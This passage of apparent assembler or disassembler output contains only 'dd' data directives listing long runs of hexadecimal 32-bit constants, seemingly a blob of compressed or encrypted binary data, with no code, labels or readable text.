0D243CC80h, 6D35876h, 2BB2839h, 95CFCD9Ch, 1876E8B9h dd 648209F1h, 8380D546h, 901D97B1h, 33D4BE16h, 65015700h dd 5A8687h, 96C135F0h, 5C126FE3h, 3F5C6674h, 6DC65038h dd 0B7C3C0BFh, 0C0800031h, 49A419A0h, 9206709Fh, 4FC1AABDh dd 4CD50FA4h, 5540223Fh, 54B01536h, 0A61A6700h, 0B974696Ah dd 1977564h, 0DE8E4DB7h, 609651ECh, 0CA073732h, 7F3A17DBh dd 0D03BE640h, 95270044h, 4A9A4F8h, 0C100474Eh, 0B87C2D30h dd 0D554E8h, 898CF080h, 3450780Fh, 2BEA7600h, 344746Ch dd 72C898DAh, 83B500DFh, 9C4E679Ah, 6B004996h, 4A292EFh dd 0D72B52h, 4D4CF21Eh, 0FB6242ADh, 0FFDAF13Eh, 29101C03h dd 489AAE2Fh, 0C064AE0h, 282A4273h, 3D0032F2h, 7B3352BFh dd 5D7581h, 0E4F9D583h, 0A9040AD4h, 8BF9400h, 63D0BDD1h dd 38E70C6h, 0AFAA15C2h, 99F8A67Eh, 0F009B17h, 0BDA30C21h dd 0E6E495C6h, 54B044h, 0DF16DD49h, 2999B992h, 0F4BA78C0h dd 3D95F170h, 0FD0091F9h, 0CE0775D0h, 48046E45h, 3A13368Eh dd 0DD960081h, 51EFC9E8h, 0CFF0D7D2h, 44AC0097h, 10BC18FBh dd 4FFE21D8h, 6E598C02h, 847F547Eh, 4780FAACh, 1C17E24Ah dd 9D865B05h, 53033BA0h, 631D527Dh, 1ECAFE98h, 9A972F00h dd 0F9684D5Fh, 6469028Ah, 4AC2BCB8h, 0B0CE2840h, 3A38BF75h dd 0F88000DDh, 775087E1h, 0AB353C56h, 4CD80101h, 45285B1Dh dd 4BA180F5h, 2674E031h, 56B11300h, 0F98AD996h, 0E9E703C4h dd 9FDC85FDh, 2EDA0800h, 4CBAC272h, 28AF01ACh, 1937E9E5h dd 34EFE4E6h, 2847D0B7h, 7AE4B516h, 11CB1F38h, 0ECE30036h dd 0EDD7F53Bh, 0DB0CC6B0h, 8DF4621h, 2F1800E2h, 2CF89A7Fh dd 0F40096CBh, 19D8030h, 14A55B2Ah, 0F8FA1B25h, 8F177A00h dd 80E303A3h, 93CB3Dh, 2C91D2FDh, 89BA04h, 0C42E6A6Eh dd 14A3A578h, 0C9B4CD50h, 655FD10Fh, 1C176053h, 0AF79D5h dd 5B59CBCh, 258ADC0Ch, 6C00D890h, 4D127A7Ch, 0F75018h dd 0F3731E1Dh, 0FB61A074h, 10E78B00h, 0FEC09A4Ch, 0E4E220h dd 0F56EA76Ch, 648CF7DAh, 1006490h, 3AF04AEEh, 0B36FD0h dd 0ADF4703Fh, 0DE2AE3A9h, 4EBBC51Dh, 80EE1C24h, 0DC1B9017h dd 1DCB1215h, 0E8144579h, 3EE809Dh, 9700DD99h, 0B3DC9B81h dd 95B0FF9h, 519BBE1h, 7D332CA0h, 2A1F523Eh, 0E080F6A5h dd 0D48E7496h, 31C93750h, 5C337390h, 0D1936CB0h, 6A0B4D00h dd 0BBA7CEC4h, 4B8C0057h, 58771694h, 7D00206Eh, 3978C89Bh dd 7E7BC50Ah, 0E88FE72Ah, 59802D3Bh, 62215F12h, 80600500h dd 7C3E0A61h, 251E303Dh, 855B1208h, 28EE9E00h, 30E6C26Fh dd 0FFBB0057h, 0FB0E8225h, 1F073134h, 891198B5h, 429CC780h dd 0BC6512DEh, 0B7B000FEh, 0D29449CAh, 9A547F00h, 3D19CBAh dd 0E720021h, 43770FF6h, 6D0014FBh, 68494758h, 0DC2242h dd 3879934Ch, 0C3E1B99h, 80CE3A3Ah, 773CEF56h, 0EB3AEBEh dd 38B91C1h, 0F6DD2AE0h, 0B11C09EEh, 0E400E192h, 0AD05BC88h dd 0FF7F0089h, 67B4063Ah, 3C000915h, 94FD288Ah, 89E39Eh dd 0FCA8741Bh, 36EDB762h, 2819C700h, 0E612FF3Fh, 5A5C00D7h dd 0C67DC916h, 8F00D941h, 55EFCB89h, 3D8D6557h, 110078A0h dd 0B158E8D0h, 73741BF3h, 0CEEBCC01h, 2E69A2D3h, 0EA562FF8h dd 50390022h, 83302067h, 94007134h, 0AAC2BA6Eh, 33C838h dd 3F7B46EBh, 0B46F41EFh, 1A1B0504h, 54906321h, 408EC7h dd 0EECA6BDEh, 0FFB99ECDh, 0AE860203h, 9383EA22h, 0CCB5E80Fh dd 7A374E5h, 0BB89C3CEh, 0E093A0FCh, 0B60007A1h, 0A204ECD5h dd 988154F4h, 0AE93D8Ch, 1504ADBAh, 0D3683BB9h, 35D1D1F0h dd 0B6808767h, 0C02788A0h, 83C48EFEh, 0B8655Ch, 222D6428h dd 0D5BAE36Ah, 72E9CE00h, 5ABCADD6h, 1F2E00D7h, 0B0CBB91Dh dd 0B83C4BAFh, 0F2F106C1h, 40A12Ah, 0E3D4DAE9h, 0D634D868h dd 36439401h, 0A8CA9F83h, 79DBF0h, 50ECD742h, 3646185h dd 336A1A00h, 5A80C546h, 75A40356h, 579BA0Ch, 7357C98h dd 93CD6B3Ah, 2E00A5B3h, 0EAD8801Bh, 0F8327F15h, 0FDACA868h dd 0C9BA6012h, 90872651h, 0C1808560h, 50FE194Ch, 50431011h dd 11F1C79h, 75ECD860h, 0F010C909h, 26002B84h, 0A9EB5D89h dd 0F176A2h, 5EECBE81h, 0AD6694CCh, 446D7400h, 0A62DD59Dh dd 0CBC01E27h, 0C4D74075h, 4904A058h, 34218700h, 2A8F52DFh dd 0E0C80070h, 7C9D6F2Fh, 9A075F02h, 0BEADDD10h, 4DA23E10h dd 428E6CBh, 4B7EC567h, 0B4FF8071h, 0A50383B7h, 0F26D631Eh dd 35E6C0C4h, 82E50EF3h, 0B9EB75CDh, 5942001Fh, 94C01A18h dd 0CC01772Ah, 0B521449Fh, 4ED02D97h, 163A04F1h, 809B5549h dd 0B69052C1h, 34CEA00h, 0B583C2CFh, 0D11200D4h, 698D7C77h dd 6E1F41A6h, 0BD7BC814h, 0AC48F6h, 68578AFBh, 5C37FCh dd 6F25E643h, 6334F736h, 1B66A0Eh, 2DA14051h, 94B8DDh dd 0E9C3DE2Eh, 5A9E56E6h, 5901D479h, 0CE3606B3h, 0E8307AB1h dd 18DFFC1Bh, 3660471Eh, 59003E79h, 14A41631h, 3B8CAFh dd 0F46B1A69h, 36043527h, 0E90B5A7Ch, 0A26862DCh, 0DE223Ch dd 0BE78E3FEh, 0EC567A28h, 0E42DEE00h, 0D44636D9h, 306CB0E2h dd 0ABDC18C2h, 3000DC24h, 8CC23F0h, 1909FEDAh, 28462AFCh dd 1FD0C4B9h, 54A0E501h, 2C90BD31h, 0B45424h, 8CB0877Dh dd 551D5F51h, 8ED05Ch, 986D4435h, 1EE3DDDh, 0EB26FA99h dd 72D90DB1h, 0B81D0570h, 0C40151E6h, 8519CE20h, 80EDE0h dd 74B96E26h, 0D02236A4h, 0E0FA3400h, 0E4013D16h, 706F0019h dd 7812F311h, 1C004C40h, 1B4D2975h, 0BFE2D8Eh, 589C5F1Ah dd 0C618AE80h, 0E33AF73Eh, 0D6EC0019h, 902D5EEDh, 0C11A9049h dd 85F7948h, 6A96CCD2h, 8D000772h, 3E984A74h, 0FB86EBh dd 5027855Dh, 5841E5AFh, 0E6007FFEh, 0C5338CEFh, 3C178A89h dd 7E89FDE0h, 0DC0551FAh, 0A148C0B3h, 26751F3Bh, 5FF1500h dd 0BE7F71DCh, 0F2D50314h, 0FCD71ED6h, 9FD907B0h, 0B1426E00h dd 0F80C602Eh, 2DBB3977h, 0FADAE00h, 9227D504h, 639C4F00h dd 578059A0h, 78510088h, 0AFC84B62h, 1C904C2Fh, 7C873C14h dd 900376D0h, 0D48D041Ah, 0D8D7A166h, 417A4C42h, 0F6822694h dd 2B641975h, 0F0B71940h, 0F5ACBA00h, 0DA538AD5h, 27F100BBh dd 0F2421F96h, 6700B8C0h, 3A707180h, 24921BC9h, 0BCE3B2h dd 6D90BCD2h, 53006845h, 0A90A4EF2h, 0C7E7E4h, 0BDEB0B32h dd 7BCBD6F0h, 5B82AE00h, 479AC5D4h, 0A2E200EAh, 4D766F9Fh dd 0B500D301h, 445CCA86h, 163D93E9h, 4342B159h, 61DC3E14h dd 0A903D2A0h, 1E91C600h, 0C4107212h, 34A81BF0h, 0DE00B24Dh dd 3DE7B34Bh, 3892662Ch, 4180384Ah, 3652A308h, 0B90059ECh dd 6D62EE47h, 5F9364h, 0D7722637h, 0F21EEF6Fh, 13CED00h dd 0F4270452h, 62D5006Ah, 56FCD73h, 1672D191h, 0E9D24000h dd 1CCEBF81h, 4B61867h dd 0B1E610C4h, 95763A07h, 4C90AAD7h, 26122128h, 1734058Fh dd 0E43C000Ch, 0A0DA5038h, 3B195700h, 0D3658285h, 33353E0Eh dd 80392180h, 4C1E5E51h, 0FBC73702h, 0E36FE1B4h, 0D912A834h dd 0A380012Dh, 8D31557Ah, 0D7B6F84Bh, 8008F03Bh, 8ED9117Fh dd 28D33747h, 3A47DEAh, 0FF8CFCDEh, 2E90256Ah, 764D45A5h dd 0DCD11854h, 0A0399h, 3FB58210h, 3755A351h, 69B0C900h dd 50D944B8h, 170300F7h, 0D0138DB1h, 7800776Fh, 0F5C00BE8h dd 1F53A3h, 0A85E03E0h, 0FC66C171h, 1020D600h, 43568E19h dd 67820074h, 5A3F6C98h, 0D0007C1Dh, 7218349Fh, 36163F1h dd 38E0EE4h, 2F98C91Ch, 2C96AFAEh, 5945B900h, 0B804793h dd 46619A63h, 9DE1950Fh, 0D8FE02C8h, 0B0EEEED5h, 5D075C00h dd 31F0E1DCh, 36590078h, 0E333D1D8h, 1100A83Fh, 0C5E0F6D2h dd 0A0C61D81h, 259B384h, 44ECF80Dh, 0FC41AC9Ah, 0EE3ED862h dd 10AAC630h, 13F0E8F2h, 0C792165h, 1219EA0Bh, 19FFB307h dd 100A1CEh, 2E9BC20h, 8A994535h, 0D448BFA9h, 0B00F8854h dd 0E0C647CAh, 1DD79190h, 0FE0C2616h, 395F80D8h, 0B2587C1Eh dd 665BEB1Fh, 0B2F6184Ah, 60174400h, 1B8E2A3h, 86D392C2h dd 0ED0CE520h, 1E033096h, 588148h, 0AF6DD8Eh, 12D1C1h dd 7E0DBFD7h, 0B9A9ADAFh, 73DFF300h, 0B688BB86h, 406C073Ch dd 0F05D32E4h, 0C0074F03h, 76025200h, 931AA048h, 0D4C300ECh dd 0CEBA9BADh, 3800CF26h, 1E8E81DEh, 0BFF64Dh, 3D88BCAFh dd 0B6A0D9A5h, 0DA34AE00h, 0D45E08ACh, 0E84500B0h, 6F6B7977h dd 0FC17B6DEh, 0F203BF73h, 82701EA6h, 0E05867h, 36F3A63h dd 9606F2A3h, 0A4FBCC00h, 0B32B52A9h, 0C290AFh, 989E9C61h dd 2D3415A3h, 690004F4h, 0A02F6295h, 5A9A7D2h, 4373FAD3h dd 77668309h, 97CDFED0h, 9CA3E902h, 0E0D426D8h, 875285h dd 5C296BFBh, 0D59F4858h, 0C7F29376h, 0B6AF3E00h, 0ACA19013h dd 7098982Bh, 0A6990024h, 495CCDB2h, 0F8263936h, 0D0061D0h dd 8F73F7CFh, 4EC03DDh, 0D70352B6h, 5CA2C6A8h, 0BB9D9200h dd 0BF1E3F12h, 16A70034h, 2ED74BC3h, 9307575Fh, 1151EEE1h dd 1CE20FB0h, 5A7A1CFBh, 3FEB000Dh, 0C9FDF0Bh, 1BE4A2Dh dd 8D05820Ch, 37C0C4h, 60B07B68h, 59E16C4Bh, 0AC673A00h dd 0CF1B866Fh, 8DC0089h, 75A7349h, 0EC00914Bh, 0F39DF838h dd 3893E843h, 0C10028FCh, 0F7D41A4Ch, 523F39F2h, 8D0B8F75h dd 3B8EE082h, 0B8B947h, 13E29D29h, 0C30FD1D7h, 96EFC81Fh dd 0C64C4907h, 803CBFDEh, 0B130680Dh, 94974A38h, 37BCC0ECh dd 640F7B28h, 386DE5Bh, 17AE0D0h, 93833610h, 0D09023F9h dd 5D00B8A4h, 0F7C2B02Fh, 0B613D2h, 691A7F6h, 36EB1150h dd 7423020Fh, 0FAD428h, 0E9DB531Fh, 18DCFC8h, 681BE599h dd 0D028B5D8h, 944AA27Eh, 5180BC1Eh, 9A02C0EEh, 86C504B9h dd 0A476438Ch, 780467CCh, 28FDEFD8h, 0F6BBDCA4h, 0E6D0FDA8h dd 0A9980033h, 0EBD141F5h, 0DA005F08h, 578688C7h, 0A331FCh dd 2E35D25Eh, 7CD5162Bh, 0EF966F07h, 0E1505C2Ch, 3D93BB38h dd 71004151h, 6470A1A4h, 0FE004669h, 0CD9DDD66h, 138346Ah dd 96E5BCFDh, 0E81DD92Bh, 41F72DA4h, 6034B0B9h, 44F18198h dd 0FF6DC1DEh, 1E946440h, 0D2127307h, 0D360D51Ch, 3DCEEEh dd 1F384DD7h, 1D2E57D6h, 4358A803h, 55A91Eh, 0F9A29E10h dd 6FD538EAh, 0F5A5B009h, 42B8C871h, 0FE197A06h, 911400DCh dd 0FE5DCBA3h, 9A002089h, 6FAED811h, 439E60h, 5C8F2722h dd 0B25E57AAh, 0FDFC60EBh, 81006492h, 0B99499Ah, 4CFBDFF1h dd 0BC00A892h, 42641327h, 2400A908h, 4D0AF70h, 134F2E7h dd 92D455D3h, 8091BE36h, 0A0FFDD51h, 9A8241h, 0B875BD6Ch dd 0F744E46Bh, 0D71B1900h, 10568A83h, 0C8FA0036h, 1224FE8h dd 9D01E48Ch, 512C07F9h, 0D6DC78F6h, 0A87A3AC1h, 6957007Fh dd 0A909B455h, 8E00E42Eh, 3826B71Ah, 9ABE2359h, 0B6F475ECh dd 0E87605A0h, 272880A0h, 0C5043A5Bh, 0D63B5042h, 0EAFED80h dd 35F0009Fh, 28DC6B2Dh, 4F00A947h, 0CEABFF41h, 4525427h dd 0C845FF4h, 803890B6h, 0C5007ADEh, 0C09BC6FBh, 0E71DD23h dd 2B3CB4CAh, 0C25AAFC0h, 59006C91h, 63B05CFBh, 0E68FCF1Ah dd 5CC00F2h, 0FEAEB261h, 0DF030ECBh, 39FAD744h, 3EDF011h dd 377A3Dh, 512BDCA4h, 73A8CD95h, 422AC100h, 0B884D4E2h dd 44BA1F32h, 0FEB1C15Bh, 4068FA14h, 0C74028BCh, 6C669803h dd 0F8A41B0Ah, 27BC71D3h, 0E4877E07h, 0D19490F4h, 6D004780h dd 0E4DF23B3h, 783725h, 0C017C96h, 0DEAFA904h, 0B9ECA8E6h dd 9A5810Eh, 0FDC980BCh, 3CEC90h, 0CD55F1FBh, 0C30F2B0h dd 68D1FC00h, 18E40DBBh, 0D7F512E1h, 1BBA04AEh, 0C8993A6h dd 111B0A8h, 1C5DFC09h, 0BCEC24C3h, 0D00090A2h, 1D66228Bh dd 9C13F255h, 0BAE31EFh, 84C0F3D1h, 0AEF25A57h, 0B5914401h dd 0D4874EEBh, 0B80DC62h, 26B5C307h, 0ED3AD501h, 0C299312Bh dd 2926074h, 3C5A9CEBh, 8CA1DCE2h, 0C4BA8ACAh, 4700891Bh dd 19A03DB4h, 48C5A76Ch, 3E007940h, 0BEE15574h, 7E009764h dd 778783E0h, 88932h, 22A56DE3h, 0FAA903E7h, 0C3449707h dd 28001319h, 17A77Dh, 3EBB8107h, 9BF15DFBh, 0C81549Eh dd 9A76DAF3h, 0BE3FC30h, 10D4F0DEh, 0C5CCB280h, 50B0437Fh dd 70064B6h, 0E7050EBBh, 58F0C04Ah, 0D4459730h, 304EBF3Ah dd 0F01819A9h, 338600FFh, 9C47C4ABh, 2400448Ch, 1A4B8431h dd 0E2F809A8h, 92EF007Dh, 973215EDh, 36001EE2h, 71D7C51Fh dd 0ABB403h, 145095C3h, 6C92933Eh, 0FB624A00h, 0C60E7DFFh dd 20610F66h, 456069C5h, 0E7D196F6h, 9B5A100h, 0AC77B20Ch dd 618E0088h, 0C833B882h, 470703A8h, 2F025B8Fh, 0C5FF2B90h dd 807721h, 8EBD6124h, 0A3AAB864h, 9C07D24Ah, 88606353h dd 34CDC06h, 72DD683Fh, 34E01C2Dh, 0DE074D76h, 150499Eh dd 0E051AC33h, 73F74E72h, 0F0B03A5Fh, 4017B69Dh, 1EE3AA1Ah dd 0FB0048F4h, 7B44E5D9h, 7A316BB2h, 0E46A00C4h, 0D6D1CCC1h dd 4D003A2Eh, 0FF39F192h, 0FE41AEh, 0B51D6F25h, 0FB609598h dd 50E0C701h, 0CEC271C1h, 1CB1CC8h, 0E40B726Bh, 2C549113h dd 0C8FE0088h, 48FC6076h, 6A561C81h, 0CF9880BEh, 0B084DAF6h dd 4A7D0892h, 63BF2D02h, 400BE667h, 7052C8h, 0CB6F533Eh dd 8DB0F9DAh, 5900649Eh, 0E027915Eh, 0D60800B8h, 6F79102Bh dd 0B704C9EDh, 4EC8B51Eh, 709810C0h, 7ABFEF1h, 0D61C5B88h dd 0D0C2A48Bh, 0D262739Ch, 4476A1E4h, 0BC4B6300h, 1EF7503Eh dd 95140328h, 4A6FCD7Eh, 408770D0h, 0DFA3510Ch, 24811142h dd 0C3E6Bh, 8FDEAD22h, 0C1000557h, 0D6F6489Dh, 7A5184h dd 0DC87FEC4h, 0E30F49Fh, 8AA48500h, 0DBB66BB3h, 3150219h dd 6563B553h, 4AB2FD80h, 0F00B78Bh, 0A39BCFF9h, 2DAB1h dd 19FAEB76h, 3DE3DC80h, 4652680Fh, 0CCB680D4h, 5E38E4h dd 6F8073A1h, 0E2660D77h, 5203847Ah, 8BDE6D78h, 0E767BBDBh dd 974D46D0h, 2AB100B5h, 0BEC305D5h, 0A1005969h, 0E2BB08DAh dd 1C797A38h, 2F40A8Dh, 0B9E525BCh, 0B984C58h, 0E6002CB0h dd 1828E453h, 9B1AAFh, 22C6BD84h, 0CA7265B1h, 349D5600h dd 498379C9h, 52573D7Ch, 4CBCE580h, 47EA1A61h, 8BAD761Dh dd 0F68E22C0h, 0E8E48Fh, 0C617DED3h, 7D869EBCh, 0F7CAA11Dh dd 0EE00106Eh, 48D8088Ah dd 8FF4009Ch, 75C73FB0h, 913A096Ch, 0A7378049h, 404F9486h dd 0A9CE0052h, 15CB56DEh, 8F01BFAFh, 1DF42C6Eh, 0F4383CC7h dd 0A4CE7801h, 340C5C85h, 909EFA8h, 45BF0AFCh, 50C9786Ch dd 640037B0h, 8868BEC8h, 0EB83362Dh, 8F64079h, 5E67F23Dh dd 10AA700Ch, 407E0136h, 0C2C88C69h, 76508BB8h, 2E5A0268h dd 64527Bh, 2041C4DBh, 15E8D878h, 25B9442Fh, 0C8E43484h dd 0D868121Fh, 0E75480ECh, 353D4515h, 5EFDC475h, 0DE2C2025h dd 0BB1F9086h, 17BAADABh, 0FE0114F2h, 81E824B9h, 0F74F9881h dd 0D0B55B0Eh, 0E900BA46h, 0B2DCF3E5h, 1DCA50A3h, 0C08469C7h dd 9BB54995h, 613E7890h, 88F280C1h, 0C765D99h, 0DD19009Ch dd 11498DA3h, 0D702AF1Fh, 0D9905F4Bh, 866460DFh, 9E46006Eh dd 0D4F91D9Fh, 4E0FD2B5h, 0FE24A4h, 6ACE97B6h, 0BA47006Bh dd 0DA7F4D58h, 6567B223h, 5E0051D8h, 1CA14FB6h, 752BBE3h dd 30578D06h, 0D05D8708h, 4384CD00h, 0AA660411h, 174E8FDh dd 7FB703B0h, 80C3CEB9h, 99FCD7AAh, 12852FAh, 0A8A0A9A5h dd 93B5879Ah, 5C008112h, 50081E98h, 80464C8Bh, 94558E00h dd 0A67EB4DFh, 198D5D0Eh, 804549E0h, 0B75E900h, 66AF00EAh dd 7CBCF2A4h, 0A9009CBAh, 149E44A2h, 0E0E4984Ah, 0F74000FFh dd 99011909h, 0EA0046E9h, 0BCC314D3h, 0DAC796h, 527D552h dd 31FDFBFEh, 2810E41Eh, 2494B40h, 0B8D063CBh, 73DD7E8Ah dd 471E002Ch, 0E6EC717Ah, 610797DEh, 52EF8976h, 0F02A3DA3h dd 4A1FC8F3h, 0E95CC10Eh, 0C49C21FCh, 8401095Ah, 31296AA0h dd 14385F55h, 32913603h, 0D580CE13h, 0AF0B94EEh, 0EFAD271h dd 0A73F6064h, 20334ABh, 0BDA61A44h, 2CE0CDAFh, 0F9012B6Fh dd 162D9240h, 0F8202032h, 216E3A7Eh, 8882D981h, 795A593Dh dd 0C63B1D18h, 6BBC923Ah, 0E9CFE840h, 35EBAEh, 460C21B3h dd 5CB773C2h, 0BEA69903h, 0B0188574h, 3CEB1F05h, 75014510h dd 7E31AD1Ah, 36D2C038h, 8825E607h, 809EFD3Fh, 8D9E0D63h dd 0E06F00EEh, 0C22096B2h, 79772E39h, 71695E00h, 3FE69AD6h dd 35BC000Fh, 1336EFA8h, 641D1FE0h, 6F93D3FDh, 8544AA00h dd 7F95C30h, 0F7332492h, 0E8674FA5h, 0C92D6195h, 0A427F094h dd 5B144200h, 2A2E4DD4h, 74598BFh, 25C27B61h, 206BB034h dd 1A0FF691h, 0E02E3AC8h, 7B310540h, 0E01F0F4Ch, 0D50385EBh dd 99C846F5h, 8E98B321h, 34039007h, 0E02FB113h, 0D2AF32ABh dd 28597F37h, 2AC7AF1h, 0C0CF4DD8h, 7140098Dh, 1C7271C3h dd 34EFFB25h, 83FC1568h, 1200C4C3h, 17E99DC7h, 0DB01468Dh dd 4A8E49E8h, 58D119A1h, 9F07B069h, 0C072E08Ah, 0CE312BEEh dd 2F249249h, 42CC1095h, 94230106h, 1D50A232h, 0FCFAE0FBh dd 9381B709h, 0B5C6818h, 5381C0E7h, 0A96ED1D6h, 9BAFD004h dd 9EC07831h, 98D38F22h, 690F0926h, 0A4405F51h, 981EB8Ah dd 0DE812FEBh, 7F00003Ch, 4576B684h, 0F6C994Eh, 0E992AD86h dd 0E5277AA0h, 0B00252D8h, 0F74D6688h, 0A858A7h, 0D7FAC67Dh dd 0E145C30Fh, 5206EA01h, 0D9C15938h, 761B72E8h, 9B7D00ABh dd 8F512C0Bh, 0CE1D4060h, 5C005F6Ch, 8B385AA6h, 68670016h dd 90258F10h, 0A40012CBh, 5BA5468Eh, 2C24A27h, 45B83626h dd 1B61496Dh, 7230C02Dh, 3F033507h, 78003A65h, 33B4AF0h dd 998A2FE6h, 12A07B2Ch, 0BB309AD3h, 98A86065h, 0EF8E00F5h dd 11326F6h, 9CEA3AC7h, 0CB003574h, 4CA1D728h, 0F5FF83h dd 0C8A688ACh, 2CD8241h, 2F291A02h, 80C363B1h, 0ECB2CAACh dd 0B6E1005Bh, 5DE548D5h, 6F2C0741h, 880078CEh, 47DBFAEAh dd 189925C8h, 1C63B8E8h, 0A3111403h, 0E038E8CEh, 0B8745DE0h dd 840800DCh, 9DAAD479h, 0D71D51A3h, 864F9C39h, 342A00F6h dd 1E5890F3h, 7A64D0Dh, 0FFCEC442h, 0C90CF720h, 3A61E902h dd 0B61FABA8h, 0D507F801h, 23A1DB1Dh, 0A4EC307Ch, 2D802A00h dd 0D59974E9h, 0FCB200D0h, 284F772Eh, 435BB6BEh, 0A052E800h dd 74A9D0F5h, 445930FBh, 2FE30218h, 4B97025h, 0FCA4514Ch dd 9F1100A7h, 0DCDED974h, 14186C39h, 0ECF0268Ch, 0F1BD0B67h dd 14017DBEh, 2F6936E5h, 3F03921Dh, 0C83BBCAAh, 7BA9ACE1h dd 888300D9h, 0C6768CDh, 531D3924h, 90934FF2h, 4564A4h dd 74A9714Bh, 0B7D1D4EDh, 5823AB00h, 4A19859Eh, 76020195h dd 342D0887h, 621030F8h, 0BF2F0B00h, 6718E8D9h, 0E0CE0015h dd 31B54A79h, 237E0EC7h, 83C3051Eh, 70D19D40h, 77CF8Dh dd 5B7360AFh, 0C5B6A738h, 892D553Ch, 6868E6CEh, 740577Ch dd 31D0E2ACh, 0A9A39016h, 721F6198h, 599EF0E8h, 8B182700h dd 97FA14FDh, 0D0CF90C3h, 1AA144C7h, 26599300h, 0A7E9E24Dh dd 8AB50EFCh, 0F380D022h, 9385133Dh, 97DA1B00h, 3195563Eh dd 0ACE80008h, 1EF4F8A6h, 0F900AEA4h, 0E37C7115h, 5B6BFBh dd 225C666Dh, 8EBCCAC6h, 8D87E400h, 0D5CC3DDFh, 0E96E010Eh dd 0B2FAFCF4h, 0D1BFEC0Fh, 7031600h, 33D414B8h, 0FBAD00E8h dd 0F69CE92Bh, 0EAFAFF3Ah, 6030170Fh, 0AC76E00Ch, 0FB394CFh dd 51E6C60Fh, 7A011A00h, 6D001498h, 0C1910A04h, 0E8E05E47h dd 66683C2Dh, 468C3907h, 7A9A800Dh, 7B2C2443h, 44808C3Bh dd 1371B0CFh, 30F7A49h, 0C742EA3Eh, 0C6D0E530h, 2F03E8DAh dd 0E102E0A2h, 3304E868h, 32F90066h, 8DFE3651h, 0E7012D6Ah dd 0A2318122h, 8C307180h, 0D8500215h, 0EFD149C3h, 0BA023052h dd 2E516581h, 0BB324087h, 0C0F0EFF7h, 75887898h, 3C28DE38h dd 0A1C400F8h, 0E2B083A4h, 111D65C2h, 0D7094D93h, 0C4EF00FEh dd 7FC25E8h, 334915C7h, 1970009Dh, 0B010935h, 0E2A5098h dd 0EFE41D1Ch, 0C3FC84h, 0BB1E1213h, 0D65B6580h, 0BACF8600h dd 7E8D66D5h, 3BFE98B9h, 0BC008773h, 0C192F58Ah, 0C1C041FCh dd 0A5D27538h, 3EEF09C8h, 0BC79F16Bh, 0B60CE3E4h, 0E3AA0D8h dd 81963CB7h, 0FBB6828h, 0D3D039A6h, 9E48026Ch, 703E2462h dd 82809451h, 0B3ADBBA1h, 0BD73001Dh, 0E368EED6h, 8607E27Dh dd 0D43D19F5h, 0AB30A9C0h, 2571DBh, 0E9CDB675h, 0B5E20212h dd 229C4500h, 969AB38Ch, 0E02830ABh, 8D35BCAh, 710D3Ch dd 4E1F7548h, 70ACEA6h, 0B76DB0FFh, 0D5BD20F6h, 1D1E58C6h dd 0CC09CEDh, 0A945C863h, 659B00AEh, 13D0330Fh, 0E80024BBh dd 0AD4F5030h, 15DBAC2h, 2CAC63B5h, 0F051DDAFh, 0D2025EA9h dd 0ADBF7CA2h, 0D940483Ah, 970F03CBh, 0B888D0C0h, 858A88Bh dd 0FA20624Fh, 0A74C40D3h, 0DF4000E8h, 0D8191FC0h, 0C6006941h dd 33F00734h, 58FB513h, 9336D154h, 48C0028Ch, 3076C464h dd 0EDC0A247h, 19A815F1h, 90234D9h, 0C2218584h, 91C0ED94h dd 0F0B88CA3h, 0E921FECh, 97803E71h, 54550324h, 3400A1E6h dd 0F59ADE2Fh, 13E8EABh, 65E781DBh, 8269375Dh, 86C18251h dd 258C3B5h, 61E7D098h, 0E560BDB1h, 21373A19h, 39C13071h dd 1984C1D5h, 5C991Ah, 72E4B5CAh, 8451C050h, 0E9CF7A9Fh dd 66D6320Eh, 0A08FAD1h, 803C4B10h, 173502B8h, 740BEDh dd 0B5C7F5D4h, 0D0C91A0Eh, 0F6E79CA0h, 767A2200h, 0A4640560h dd 24174C59h, 72700075h, 62E43FB6h, 0B003E4Ch, 29C07B65h dd 9AC4DF2h, 0E956FD40h, 8881F001h, 0E4F03114h, 6900EE0Ah dd 0BC212584h, 1203BD2h, 1719CCBEh, 0C4085FC3h, 1F007CC4h dd 0E5433524h, 0FB228AAh, 2F2CC859h, 0B9520F60h, 0CA0071C0h dd 769D6FBFh, 28E583h dd 1ACE0517h, 0B1B7E442h, 0BAF3C538h, 0FFD50FB9h, 0F673250Ch dd 45DC0280h, 0E28C01Dh, 5C8ACF3Bh, 9199F31Eh, 0AB6E2CC0h dd 730554Ch, 60FCBDF7h, 66EC40ACh, 26F043B1h, 0B9154500h dd 0A8738B97h, 2C3E0E96h, 2D8004C4h, 0D86709ADh, 9D3CF700h dd 64E69955h, 123FAFDh, 265703F2h, 0C0D9FBF1h, 4E1C1D71h dd 0BF40D1AAh, 0A0244675h, 1C1B002Bh, 2F60A78Eh, 0C000FF7Eh dd 5E3F6FD4h, 0F3F607h, 0D3CCAD5Bh, 0CDC2B2CBh, 4B568D0Eh dd 813CA108h, 0C0C2C796h, 2FC48Ch, 3FC04F63h, 0A8147FF0h dd 0EB60E603h, 0B070F1h, 565D9878h, 39F51509h, 898E4304h dd 6AF0AD10h, 7B700E20h, 0CC8B33E5h, 72FAA400h, 0B900D1D0h dd 0BEF72B1Eh, 0F4FFEE15h, 1D84016Ch, 0EFB36EC4h, 281CDF7Dh dd 0D8C00636h, 5CA08198h, 929C18ADh, 0D329581Eh, 46006074h dd 0ED7A545Eh, 3A805975h, 0BB0048F7h, 631DC04Dh, 5300F35Ah dd 8262C29Fh, 78AF6DB4h, 0C3E833h, 3E176F30h, 38B05902h dd 0BB6EE000h, 0A606BCECh, 59A0BB1h, 2600E551h, 9743B735h dd 0BEE7A20Eh, 0D5FD858Ch, 0F841D300h, 3FDF80h, 1B965EE9h dd 7718C30Dh, 14A048h, 250B382Bh, 24DDF8h, 0B78D9ACEh dd 0DF629607h, 6F924C03h, 0C0935552h, 13E1D2h, 3B0AE6F9h dd 0C8A8121Ah, 0B53DCE01h, 2BF10936h, 2F47AC40h, 0B7EA0717h dd 0B01810DBh, 0E21C8F89h, 210B5700h, 608113A1h, 5D1B077Eh dd 9089C745h, 44EE3A1Fh, 0CB004EF2h, 160D74ACh, 0FC50DE8Bh dd 2B59073Bh, 21D177ADh, 0ECCA4F9Ch, 0C37775A0h, 91623818h dd 70E1DD0h, 2783B5C6h, 6B39700Fh, 4E5051E2h, 64EC41D0h dd 1F60E480h, 0CE477Ch, 274DF473h, 490E10EEh, 8096A24Bh dd 0AB2EB82Ch, 625B001Fh, 7DFB4D47h, 0C003BEE9h, 6643399h dd 0D4CB88AFh, 9F2E305Fh, 0F2A83580h, 0A4E7EF01h, 6D99F50Dh dd 0B6207080h, 319A9397h, 0BDE85AE2h, 